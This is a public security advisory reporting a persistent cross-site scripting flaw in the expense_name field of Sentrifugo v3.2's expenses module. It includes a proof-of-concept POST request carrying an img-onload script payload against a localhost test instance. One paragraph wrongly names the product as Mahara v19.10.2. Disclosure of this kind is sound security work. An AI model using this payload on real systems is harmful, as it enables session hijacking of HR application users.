Document Title: =============== Sentrifugo v3.2 CMS - Persistent XSS Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2229 Release Date: ============= 2020-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 2229 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Sentrifugo is a FREE and powerful Human Resource Management System that can be easily configured to meet your organizational needs. Sentrifugo offers HR resource modules with exceptional features and an intuitive interface. It's easy to set up, configure and use. (Copy of the Homepage: http://www.sentrifugo.com/ & http://www.sentrifugo.com/download ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Sentrifugo v3.2 CMS. Affected Product(s): ==================== Sentrifugo Product: Sentrifugo v3.2 - CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Mahara v19.10.2 CMS web-application series. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the `expense_name` parameters of the `/expenses/expenses/edit` module in the `index.php` file. Remote attackers with low privileges are able to inject own malicious persistent script code as expenses entry. The injected code can be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located on the application-side. Entries of expenses can be reviewed in the backend by higher privileged accounts as well. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] index.php/expenses/expenses/edit Vulnerable Input(s): [+] Expenses Name Vulnerable File(s): [+] index.php Vulnerable Parameter(s): [+] expense_name Affected Module(s): [+] index.php/expenses/expenses Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Vulnerable Source <div id="maincontentdiv"> <div id="dialog-confirm" style="display:none;"> <div class="newframe-div"> <div class="new-form-ui height32"> <div class="division"> <input type="text" maxlength="12" id="number_value" name="number_value"></div> <span class="errors" id="errors-contactnumber"></span></div></div></div> <div id="empstatus-alert" style="display:none;"> <div class="newframe-div"><div id="empstatusmessage"></div></div></div> <div id="empleaves-alert" style="display:none;"> <div class="newframe-div"><div id="empleavesmessage"></div></div></div> --- PoC Session Logs [POST] --- (Expenses Inject) http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit Host: sentrifugo.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 352 Origin: http://sentrifugo.localhost:8080 Connection: keep-alive Referer: http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit Cookie: PHPSESSID=h67jk6dashpvgn5n3buc6uia87; _ga=GA1.2.788961556.1587849443; _gid=GA1.2.1158360779.1587849443 id=&limit=&offset=&parameter=all&currencyid=1&file_original_names=&file_new_names=&last_inserted_receipts=&receiptId=&expense_Id=& expense_name=<img src="evil.source" onload=alert(document.domain)>&category_id=&project_id=&expense_date=&expense_currency_id=2& expense_amount=&cal_amount=0&is_from_advance=&expense_payment_id=&expense_payment_ref_no=&trip_id=&description=&post_receipt_ids=&submit=Save - POST: HTTP/1.1 200 OK Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.10 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 19284 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Reference(s): http://sentrifugo.localhost:8080/index.php http://sentrifugo.localhost:8080/index.php/expenses http://sentrifugo.localhost:8080/index.php/expenses/expenses/ http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. 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